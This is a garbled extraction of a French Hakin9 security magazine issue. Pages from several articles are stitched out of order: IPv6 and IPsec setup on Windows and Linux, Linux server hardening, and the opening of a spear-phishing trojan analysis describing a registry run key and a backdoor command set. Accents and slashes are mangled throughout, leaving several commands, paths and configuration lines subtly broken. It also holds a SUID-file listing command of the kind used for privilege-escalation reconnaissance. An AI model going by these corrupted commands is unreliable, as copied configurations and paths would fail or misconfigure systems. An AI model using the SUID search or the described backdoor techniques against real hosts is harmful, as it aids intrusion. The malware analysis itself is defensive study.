Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 8: hakin9_05_2010_FR

5201010

dossier

permissifs crsquoest pour cela quil est recommandeacute dutili-ser au strict besoin ce genre de droits

Les droits setuid et setgid (repreacutesenteacutes par un s) permettent agrave un programme de sexeacutecuter avec les droits de son proprieacutetaire par exemple la commande passwd permet agrave un simple utilisateur de modifier son mot de passe (par deacutefaut) dans le fichier etcpasswd ou etcshadow (voir Figure 3)

Ces droits sont agrave lorigine dun tregraves grand nombre de failles de seacutecuriteacute locales qui permettent leacuteleacutevation de privilegraveges sous Linux (passer dun simple utilisateur agrave root) il est donc fortement recommandeacute de lutiliser au strict minimum

Liste des fichiers ougrave les droits SUID et SGUID sont positionneacutes

find ( -perm -4000 -o -perm -2000 ) -exec -l -lc

Le sticky bit (bit de collage) est un droit compleacutemen-taire positionneacute sur un fichier il permet de garder le fi-chier en meacutemoire si par contre il est positionneacute sur un reacutepertoire (exemple tmp) les fichiers creacuteeacutes dans ce reacutepertoire ne pourront ecirctre supprimeacutes que par le pro-prieacutetaire du fichier

Drsquoautres attributs de fichiers (positionneacutes avec la commandes chattr et visibles avec lsattr) peuvent ecirctre appliqueacutes

bull a on peut seulement ajouter des donneacutees au fi-chier

bull c compresseacute automatiquementbull i ne peut ecirctre modifieacute (ni supprimeacute ni renommeacute)bull s remplacement de tous les blocs du fichier lors

de la suppression par des 0bull u sauvegarde du fichier en cas de suppression

Exemple drsquoutilisation

bull chattr +i mon _ fichier ajoute lattributbull chattr -i mon _ fichier supprime lattributbull chattr =i mon _ fichier ne laisse que lattribut

La virtualisationLa reacutepartition de charge par virtualisation est de plus en plus utiliseacutee elle permet sur un serveur suffisamment puissant deacutemuler plusieurs serveurs (par exemple dobtenir sur une mecircme machine plusieurs controcircleurs de domaine) Ces architectures sont assez reacutecentes et geacuteneacuteralement mal maicirctriseacutees par les administrateurs (voir Figure 4)

Figure 4 Virtualisation

regravegles de seacutecurisation

hakin9orgfr 11

La seacutecurisation et la mise agrave jour de serveursma-chines virtuels doit ecirctre consideacutereacutee de la mecircme maniegravere que pour des serveurs physiques ils sont bien souvent oublieacutes Sous Linux il existe plusieurs logiciels de virtualisation VIRTUALBOX VMWARE Xen Qemu(Qemu et VIRTUALBOX sont gratuits mais ne sont pas optimiseacutes pour des CLUSTERS) Il est aussi possible dutiliser une machine virtuelle pour tester les politiques de seacutecuriteacute avant de les appliquer sur un serveur en distribution Le fait quune machine soit virtuelle ne doit pas limiter la maniegravere de la seacutecuriser il faut consideacuterer que cest une machine physique avec quand mecircme quelques atouts (notamment la faciliteacute de remplacement en quelques commandes la machines virtuelle est re-monteacutee agrave son original)

Un cœur de reacuteseau virtualiseacute apporte t-il plus de seacutecuriteacute qursquoune batterie de machineAgrave ce genre de question le normand qui sommeille en moi aurait tendance agrave reacutepondre oui et non Il faut bien comprendre le fonctionnement si je mets en place une virtualisation de serveur mes serveurs pour communi-quer entre eux vont communiquer sans passer par le reacuteseau (en fait la partie reacuteseau entre les serveurs est elle

aussi virtualiseacutee) donc la partie habituellement physique entre mes serveurs (cacircbles reacuteseaux et eacuteleacutements actifs) qui peut engendrer des failles de seacutecuriteacute de lrsquointer-ception de communication nrsquoa plus lieu drsquoecirctre (bien sucircr drsquoautres possibiliteacutes drsquointerceptions sont possibles via des applications tiers mais beaucoup moins discregravetes)

Drsquoun autre cocircteacute si une des machines virtuelles est compromise il est tregraves facile de lrsquoisoler et de remettre sa fonction en place (des routines automatiques exis-tent) mais le problegraveme vient de la machine hocircte elle est accessible du reacuteseau il est donc possible de la com-promettre ce qui revient agrave compromettre lrsquoensemble des machines virtuelles (voir Figure 5)

Journalisation et sauvegardesLa journalisation et lrsquoenregistrement des eacutevegravenements des applications sont geacutereacutes par deacutefaut par SYSLOG (configureacute via le fichier etcsyslogdconf) il permet drsquoeffectuer une centralisation des journaux drsquoaudit ainsi qursquoune gestion par niveau de criticiteacute (par deacutefaut ils sont stockeacutes dans varloglog)

Ses diffeacuterents niveaux

bull emerg kernel panic systegraveme HS bull alert doit ecirctre corrigeacute immeacutediatement

Figure 5 Exemple de communication entre eacuteleacutements du cluster

Avec Virtualisation Sans Virtualisation

Reacuteseaude lrsquoenterprise

Reacuteseaude lrsquoenterprise

5201012

dossier

bull crit panne mateacuteriellebull err erreur geacuteneacuteriquebull warning avertissementbull notice avertissement neacutecessitant un traitement

particulierbull info informationbull debug deacutebogage

Certains de ces niveaux ne doivent ecirctre utiliseacutes que dans le cas de deacuteveloppement drsquoapplication ou tests de fonctionnement (info et debug) de mecircme il est tregraves fortement conseilleacute de limiter ces informations au strict besoin Le fait de tout journaliser produirait des jour-naux drsquoune taille tregraves importante qui seraient totale-ment inexploitables

bull Atteinte de la taille maximum du support de stocka-ge plus aucune information ne sera journaliseacutee (si une option drsquoeacutecrasement est activeacutee risque de per-te drsquoinformations)

bull Tri et exploitation beaucoup trop longs (imaginez la journalisation drsquoune journeacutee qui prend plusieurs jours agrave analyser)

Il est donc primordial drsquoappliquer une journalisation adapteacutee au mode drsquoutilisation un mode debug peut ecirctre utiliseacute pour analyser le bon fonctionnement drsquoune application mais il ne doit pas ecirctre constamment acti-veacute

La protection des journaux est aussi essentielle la derniegravere chose que fera un attaquant apregraves srsquoecirctre intro-duit chez vous est drsquoeffacer ses traces un attribut de protection sur les fichiers est donc tregraves important (voir le chapitre preacuteceacutedent Droits et fichiers)

Quel est lrsquointeacuterecirct de la journalisation

bull Comme eacutenonceacute preacuteceacutedemment dans le cas de test du fonctionnement drsquoune application

bull Pour deacutetecter lrsquoorigine de problegravemes sur la machi-ne

bull Pour tracer les actions (sur le systegraveme dans une applicationhellip)

bull Afin de deacutetecter des agissements anormauxbull Pour proteacuteger lrsquoadministrateur la socieacuteteacute en vertu

des lois (respect des lois)

Mais la journalisations ne fait pas tout il faut aussi ef-fectuer des sauvegardes des sauvegardes systegravemes (par exemple avant une modification majeure reacutegu-liegraverement pour reacutecupeacuterer facilement apregraves un crash) mais aussi des journaux drsquoaudit Bien sucircr ces sauve-gardes doivent ecirctre proteacutegeacutees et deacutelocaliseacutees

En geacuteneacuteral la dureacutee de conservation des sauvegardes (journaux bien que systegravemes seraient un plus) doit ecirctre entre 1 agrave 2 ans (leacutegalement) permettant une reacuteponse aux requecirctes judiciaires

seacutecuriteacute et continuiteacuteUn systegravemes nrsquoest jamais complegravetement sucircr Lrsquohomme (ou la femme) le meilleur du monde ne pourra jamais seacutecuriser un systegraveme de maniegravere absolue

Il y a quand mecircme des moyens afin drsquoatteindre un niveau de seacutecuriteacute assez convenable

bull La mise en place de politique de seacutecuriteacutebull Effectuer de la veille technologiquebull Effectuer reacuteguliegraverement des audits de seacutecuriteacute sur

les systegravemesbull Le respect par tous des regravegles de seacutecuriteacute (le vi-

rus introduit sur le reacuteseau vient dans la majoriteacute des cas du grand chef ou des administrateurs locaux

bull Sensibiliser encore et encore

Bien sucircr cette liste nrsquoest pas exhaustive

ConclusionLa seacutecuriteacute dun systegraveme ne deacutepend pas que de sa mise agrave jour il deacutepend eacutenormeacutement de la maniegravere dont on administre ses service Que ce soit pour un serveur dune grande entreprise ou votre serveur agrave la maison la seacutecurisation de votre serveur ne sera jamais fini effectuez une veille technologique et appliquez la seacutecu-risation par laquo laccegraves au strict besoins raquo et vous aurez eacuteviteacute un grand nombre dattaque Malheureusement vous ne serrez jamais proteacutegeacute contre les nouvelles failles applicatives et ceux mecircme avec une infrastruc-ture conseacutequente

La seacutecuriteacute nest quun deacutebut son application na pas de fin

Agrave ProPos de LAUTeUrAutodidacte depuis plus de dix ans dans le domaine du deacuteve-loppement lauteur e ectue des audits de seacutecuriteacute informati-que pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

NoTe regravegles de bonnes conduites agrave garder sur ces systegravemes bull Le cloisonnement des mots de passe (le mecircme mot de

passe ne doit pas ecirctre utiliseacute entre les machines virtuelles et la machine physique)

bull La mise agrave jour des systegravemes en portant une attention particuliegravere sur la stabiliteacute du systegraveme maicirctre (machine physique)

bull Lrsquoapplication de droits restreints agrave lrsquoadministration des machines virtuelles (seul un administrateur doit pouvoir reacuteinitialiser une machine la dupliquer lrsquoexporter etc)

5201014

attaque

En regravegle geacuteneacuterale lrsquoobjectif dun attaquant est drsquoobtenir des informations sensibles sur un utili-sateur Mais il peut eacutegalement srsquoagir drsquoatteindre

des reacuteseaux speacutecifiques Bien souvent le pirate reacuteussit agrave convaincre lrsquoutilisateur de teacuteleacutecharger et drsquoexeacutecuter une piegravece jointe frauduleuse ou drsquointeragir avec lui

Dans le cadre de cet article et du rapport drsquoanalyse nous analyserons une attaque de type spear-phishing aborderons les meacutethodes utiliseacutees et lrsquoorigine de lrsquoatta-que Dans ce rapport une attaque par spear-phishing a eacuteteacute bloqueacutee et des actions ont eacuteteacute mises en œuvre pour comprendre les principes de fonctionnement de lrsquoat-taque Ce rapport examine les meacutecanismes utiliseacutes pour lattaque les outils de deacutesassemblage et les caracteacuteristi-ques qui ont permis aux utilisateurs de srsquoen preacutemunir

Nous avons utiliseacute plusieurs techniques drsquoinvestigation une analyse statique pour examiner lrsquoensemble des fichiers des outils comme IDA Pro Radare et Hiew pour lrsquoanalyse des fichiers binaires Nous avons eacutegalement analyseacute le malware agrave lrsquoexeacutecution en utilisant des machines virtuelles et des outils drsquoanalyse dynamiques comme Immunity De-bugger Python et Fiddler Des exeacutecutables ont eacutegalement

eacuteteacute modifieacutes pour permettre la simulation dun C amp C et linteraction eacutetant observeacutee avec la machine virtuelle Enfin la reconnaissance du reacuteseau de base a eacuteteacute effectueacutee pour surveiller les systegravemes geacutereacutes par lattaquant

Avec une attaque par spear-phishing et des techniques drsquoingeacutenierie sociale un attaquant peut aiseacutement envoyer un cheval de troie pour prendre les commandes drsquoun site Entre temps lrsquoutilisateur a mis agrave jour le site avec une commande de type download (teacuteleacutechargement) qui agrave son tour a permis au cheval de troie de creacuteer une bac-kdoor Une backdoor est une commande shell basique qui permet agrave un attaquant drsquoacceacuteder agrave un hocircte au niveau du systegraveme drsquoexploitation et ainsi cibler des reacuteseaux speacute-cifiques Le reste de cet article traitera de la reacuteponse agrave lattaque et de lanalyse des eacuteleacutements reacutecupeacutereacutes

une attaque par eacutetapes ndash analyse fonctionnelleDans cette rubrique nous allons expliquer en deacutetail ce qursquoest une attaque par spear-phishing Dans la pre-miegravere partie nous nous inteacuteresserons agrave la phase ougrave lrsquoattaquant envoie un e-mail avec une piegravece jointe frau-duleuse Cette piegravece jointe nrsquoest autre qursquoun cheval de troie qui permet de prendre le controcircle du site Lrsquoeacutetape suivante consiste pour le malware agrave teacuteleacutecharger et

Rapport drsquoanalyse drsquoune attaque par spear-phishing

Le Spear-Phishing est un phishing cibleacute lattaque est techniquement similaire au phishing mais cible un petit nombre de victimes par courrier eacutelectronique Lrsquoattaque varie selon les intentions du pirate qui lrsquoinitie

Cet aRtICLe eXPLIquebull Analyse drsquoune attaque de type spear-phishing

Ce qursquoIL Faut SaVOIRbull Langage Python

adam Pridgen Matthew Wollenweber

Figure 1 Appel du fichier CHM agrave lrsquoexeacutecutable svchostexe Figure 2 Cleacute de registre relative agrave lrsquoemplacement du malware

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 15

Lorsque le programme est exeacutecuteacute une cleacute est enre-gistreacutee dans le registre de Windows pour lancer auto-matiquement le troyen au deacutemarrage de lrsquoordinateur

La figure 2 repreacutesente la cleacute de registre et son emplace-ment La cleacute est une cleacute de deacutemarrage peu utiliseacutee Lors-que la cleacute de registre est deacutefinie le fichier binaire reacutecupegravere lrsquohocircte et lrsquoURL qui permettront drsquoenvoyer des commentai-res sur le site Web Les commandes inteacutegreacutees agrave la page sont encodeacutees en Base 64 et sont comprises entre les balises lt-- hellip --gt Lrsquoanalyse statique du troyen reacutevegravele qursquoil nrsquoy a que quelques commandes connues dont

bull sleepbull downloadbull connectbull cmdbull quit

En cours drsquoanalyse seules les commandes sleep et down-load ont eacuteteacute utiliseacutees par lrsquoattaquant La commande sleep oblige au programme agrave ne rien faire pendant un laps de temps deacutetermineacute selon le paramegravetre passeacute agrave la fonction Lrsquoanalyse live a montreacute que la page de lrsquoattaquant eacutetait reacuteactualiseacutee toutes les 10 minutes La commande down-

installer une backdoor crsquoest-agrave-dire une porte deacuterobeacutee Nous discuterons eacutegalement de la porte deacuterobeacutee

